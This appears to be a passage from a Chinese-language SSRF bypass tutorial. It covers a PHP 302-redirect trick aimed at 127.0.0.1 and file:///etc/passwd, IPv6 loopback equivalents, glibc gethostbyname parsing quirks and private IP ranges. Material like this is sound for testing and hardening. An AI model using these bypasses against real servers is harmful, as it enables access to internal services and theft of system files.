若可以访问外网但无法直接访问内网,在支持跳转的情况下,可以利用外网作为 302 跳板绕过协议限制。

1
2
header("location: http://127.0.0.1");
header("location: file:///etc/passwd");

IPv6

在服务器支持 IPv6 的情况下可用。

::1等价于 IPv4 的 127.0.0.1ip6-localhost 等价于 IPv4 的localhost

IPv6 也提供了特殊域名解析 ip6.name,例如x.1.ip6.name 等价于 IPv4127.0.0.1.xip.io

IPv6 也可以省略 IP 地址中间的 0,例如 http://[::]/ 等价于 http://0.0.0.0/,或者http://[0000::1]/ 等价于http://127.0.0.1/

以下 IPv6 地址均可访问本机:

  • ::127.0.0.1
  • ::ffff:127.0.0.1
  • ::1%1

Glibc 解析

在 glibc 函数 gethostbyname 中,存在部分解析问题。

  • 支持字符转义,例如 b\\097idu.com 等价于 baidu.com,其中\097 为十进制的a
  • 多余的反斜杠会被忽略,例如 \\b\\a\\i\\d\\u.\\c\\o\\m 等价于baidu.com
  • 第一个空白字符后的数据会被忽略,例如 127.0.0.1 abc 等价于127.0.0.1

因此若底层使用该函数进行解析,则可以采用上述方法绕过。

内网 IP

以下 IP 范围均输入内网 IP:

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16